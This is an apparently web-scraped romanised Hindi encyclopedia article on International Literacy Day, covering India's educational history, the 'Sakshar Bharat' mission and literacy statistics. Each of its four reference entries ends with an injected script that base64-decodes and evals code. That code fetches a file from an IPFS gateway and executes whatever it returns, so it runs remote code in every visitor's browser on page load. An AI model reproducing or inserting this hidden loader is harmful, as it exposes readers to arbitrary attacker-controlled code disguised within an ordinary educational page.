साक्षरता दिवस
saksharata divas
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| vivaran | 'saksharata' ka tatpary sirf padhana-likhana hi nahian balki yah samman, avasar aur vikas se ju da vishay hai. duniya mean shiksha aur jnan behatar jivan jine ke lie zaroori madhyam hai. |
| tithi | 8 sitambar |
| uddeshy | saksharata divas ka pramukh uddeshy nav saksharoan ko utsahit karana hai. |
| any janakari | nalanda, vikramashila aur takshashila jaisi vishv prasiddh shiksha sansthanoan ki sthapana ne shiksha ke prachar mean aham bhoomika nibhaee. logoan mean vyavasayik kaushal vikasit karane ke lie saksharata ek b di zaroorat hai. |
antarrashtriy saksharata divas (aangrezi: International Literacy Day) vishv mean 8 sitanbar ko manaya jata hai. vartaman yug mean shiksha bahut zaroori hai. shiksha ke bina kisi karyakram ka niyojan sambhav nahian hai. shiksha hamare jivan ka avashyak aang hai. sarakar sarvashiksha abhiyan chalakar pratyek vyakti ko sakshar banane ke lie vibhinn yojanayean sanchalit kar rahi hai. ek vyakti ka shikshit hona usake svayan ka vikas hai, vahian ek balika shikshit hokar poore ghar ko sanvar sakati hai. jab desh ka har nagarik sakshar hoga tabhi desh ki taraqqi ho sakegi. [1]
tatpary
saksharata ka tatpary sirf padhana-likhana hi nahian balki yah samman, avasar aur vikas se ju da vishay hai. duniya mean shiksha aur jnan behatar jivan jine ke lie zaroori madhyam hai. aj anapadhata desh ki taraqqi mean bahut b di badha hai. jisake abhishap se garib aur garib hota ja raha hai.
uddeshy
saksharata divas ka pramukh uddeshy nav saksharoan ko utsahit karana hai. antarrashtriy saksharata divas hamare liye aham divas hai, kyoanki hamare jivan mean shiksha ka bahut adhik mahattv hai. hamare desh mean purushoan ki apeksha mahila saksharata kam hai. hamean aj ke din yah sankalp lena hoga ki har vyakti sakshar banean, nirakshar koee n rahe. hamean apane yahaan se nirakshata ko bhagana hoga.
shaikshik itihas
bharat ka shaikshik itihas atyadhik samriddh hai. prachin kal mean rrishi-muniyoan dvara shiksha maukhik roop mean di jati thi. shiksha ka prasar varnamala ke vikas ke pashchath bhoj patr aur pe doan ki chhaloan par likhit roop mean hone laga. is karan bharat mean likhit sahity ka vikas tatha prasar hone laga. desh mean shiksha jan sadharan ko bauddh dharm ke prachar ke sath-sath upalabdh hone lagi. nalanda, vikramashila aur takshashila jaisi vishv prasiddh shiksha sansthanoan ki sthapana ne shiksha ke prachar mean aham bhoomika nibhaee. logoan mean vyavasayik kaushal vikasit karane ke lie saksharata ek b di zaroorat hai.
shiksha ka prasar
bharat mean aangrezoan ke agaman se yooropiy mishanariyoan ne aangrezi shiksha ka prachar kiya. isake bad se bharat mean pashchimi paddhati ka nirantar prasar hua hai. vartaman samay mean bharat mean sabhi vishayoan ke shikshan hetu anek vishvavidyalay aur unase ju de़ haja़roan mahavidyalay haian. bharat ne uchch koti ki uchchatar shiksha pradan karane vale vishv ke agrani deshoan mean apana sthan bana liya hai.
shulk mean vriddhi
shiksha ke shulk mean anek karanoan se (vishesh roop se vyavasayik shiksha) nirantar vriddhi ho rahi hai. is karan garib parivar ke bachchoan ko uchch shiksha prapt karane mean kathinaee hone lagi hai.[2]
sakshar bharat
poorv pradhanamantri manamohan sianh ne desh ki sabhi mahilaoan ko agale paanch saloan mean sakshar banane ke lakshy ke sath aantarrashtriy saksharata divas ke mauke par mahilaoan ke lie vishesh taur par ‘sakshar bharat’ mishan ka shubharanbh kiya tha. is avasar par pradhanamantri ne ummid jataee thi ki ‘sakshar bharat’ mishan, rashtriy saksharata mishan se bhi zyada saphal sabit hoga. unhoanne kaha tha ki- "desh ki ek tihaee abadi nirakshar hai. desh ki adhi mahilaean abhi bhi padh-likh nahian sakatian. saksharata ke mamale mean ham vishv mean sabase pichh de deshoan mean shumar haian."
pradhanamantri ne kaha ki- "anusoochit jati, anusoochit janajati, alpasankhyak aur any vanchit v pichh de vargo ki mahilaoan ka sakshar n hona hamare lie bahut b di chunauti hai aur hamean is chunauti se par pana hoga. yadi hamean sabhi nagarikoan ko sashakt karana hai aur tezi se vikas karana hai to desh ko poori tarah se sakshar karana hoga. jis ‘sakshar bharat’ mishan ki aj ham shuruat kar rahe haian vah saksharata ke prati hamari rashtriy pratibaddhata ko zahir karata hai. yah mishan khasakar mahilaoan mean saksharata ki dar badhane ki hamari koshish mean madadagar sabit hoga."
unhoanne kaha ki- "saksharata ke mamale mean azadi ke bad se hamane lagatar vriddhi ki hai. varsh 1950 mean saksharata ki dar 18 fisadi thi, jo varsh 1991 mean 52 fisadi aur varsh 2001 mean 65 fisadi pahuanch gayi."[3]
saksharata abhiyan
- bharat bhi ban sakata hai, shat pratishat sakshar
saksharata divas ka din hamean sochane ko majaboor karata hai, ki ham kyo 100% sakshar nahian haian. yadi keral ko chho d diya jae to baki rajyoan ki sthiti bahut achchhi nahian kahi ja sakati hai. sarakar dvara saksharata ko badhane ke lie sarv shiksha abhiyan, mid de mil yojana, praudh shiksha yojana, rajiv gaandhi saksharata mishan adi n jane kitane abhiyan chalaye gaye, magar saphalata asha ke anuroop nahian mili. mid de mil mean jahaan bachcho ko akarshit karane ke lie skooloan mean bhojan ki vyavastha ki gayi, isase bachche skool to ate haian, magar padhane nahian khana khane ate haian. shikshak log padhaee ki jagah khana banavane ki phikar mean lage rahate haian. hamare desh mean sarakari taur par jo vyakti apana nam likhana janata hai, vah sakshar hai. aank de jutane ke samay jo ghotala hota hai, vo kisi se chhupa nahian hai. agar sahi tariqe se saksharata ke aankade jutae jae to desh mean 64.9% log shayad sakshar n ho. sarakari aankado par vishvas kar bhi liya jae to bharat mean 75.3% purush aur 53.7% mahilayean hi sakshar haian.
sakshar kaise bane
bharat 100% sakshar kaise bane. bharat mean sabase zyada vishvavidyalay hai. hamare desh mean har sal lagabhag 33 lakh vidyarthi snatak hote haian. usake bad berozagaroan ki bhi d mean kho jate haian. ham har sal snatak hone vale vidyarthiyo ka sahi upayog saksharata ko badhane mean kar sakate haian. snatak ke pathyakram mean ek atirikt vishay jo da jae, jo sabhi ke lie anivary ho. is vishay mean sabhi chhatroan ko ek vyakti ko sakshar banane ki zimmedari leni hogi. shikshakoan ke dvara isaka moolyaankan kiya jaega. antim varsh mean moolyaankan ke adhar par aankasoochi mean isake aank bhi jo de jae. isase har sal lagabhag 33 lakh log sakshar hoange. vo bhi kisi sarakari kharch ke bina.[4]
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tika tippani aur sandarbh
- ↑ saksharata divas par manav shrriankhala (hindi) (ech.ti.em.el) jagaran. abhigaman tithi: 5 sitanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ bharatiy kendr ke lakshy aur uddeshy (hindi) viki aijuketar. abhigaman tithi: 5 sitanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ paanch sal mean har mahila ko sakshar banane ka lakshy (hindi) (ech ti em el) laiv hindustan d aaut k aaum. abhigaman tithi: 5 sitanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ bharat bhi ban sakata hai, shat pratishat sakshar (hindi) (ech ti em el) mukesh pandey "chandan". abhigaman tithi: 5 sitanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh